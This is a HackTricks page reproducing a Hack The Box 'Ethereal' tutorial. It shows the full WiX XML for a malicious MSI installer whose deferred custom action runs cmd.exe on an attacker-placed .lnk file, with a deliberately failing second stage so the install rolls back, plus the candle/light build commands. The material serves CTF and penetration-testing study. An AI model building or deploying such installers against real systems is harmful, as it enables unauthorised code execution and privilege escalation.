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Tutorial copied from https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root
In order to create the msi we will use wixtools , you can use other msi builders but they didn’t work for me.
Check this page for some wix msi usage examples.
We will create an msi that executes our lnk file :
<?xml version="1.0"?>
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
<Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Example Product Name"
Version="0.0.1" Manufacturer="@_xpn_" Language="1033">
<Package InstallerVersion="200" Compressed="yes" Comments="Windows Installer Package"/>
<Media Id="1" Cabinet="product.cab" EmbedCab="yes"/>
<Directory Id="TARGETDIR" Name="SourceDir">
<Directory Id="ProgramFilesFolder">
<Directory Id="INSTALLLOCATION" Name="Example">
<Component Id="ApplicationFiles" Guid="12345678-1234-1234-1234-222222222222">
</Component>
</Directory>
</Directory>
</Directory>
<Feature Id="DefaultFeature" Level="1">
<ComponentRef Id="ApplicationFiles"/>
</Feature>
<Property Id="cmdline">cmd.exe /C "c:\users\public\desktop\shortcuts\rick.lnk"</Property>
<CustomAction Id="Stage1" Execute="deferred" Directory="TARGETDIR" ExeCommand='[cmdline]' Return="ignore"
Impersonate="yes"/>
<CustomAction Id="Stage2" Execute="deferred" Script="vbscript" Return="check">
fail_here
</CustomAction>
<InstallExecuteSequence>
<Custom Action="Stage1" After="InstallInitialize"></Custom>
<Custom Action="Stage2" Before="InstallFiles"></Custom>
</InstallExecuteSequence>
</Product>
</Wix>
We will use candle.exe from wixtools to create a wixobject from msi.xml
candle.exe -out C:\tem\wix C:\tmp\Ethereal\msi.xml
Then we will use light.exe to create the msi file from the wixobject:
light.exe -out C:\tm\Ethereal\rick.msi C:\tmp\wix
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Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
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Discover The PEASS Family, our collection of exclusive NFTs
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Get the official PEASS & HackTricks swag
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Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
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Share your hacking tricks by submitting PRs to the hacktricks repo and hacktricks-cloud repo.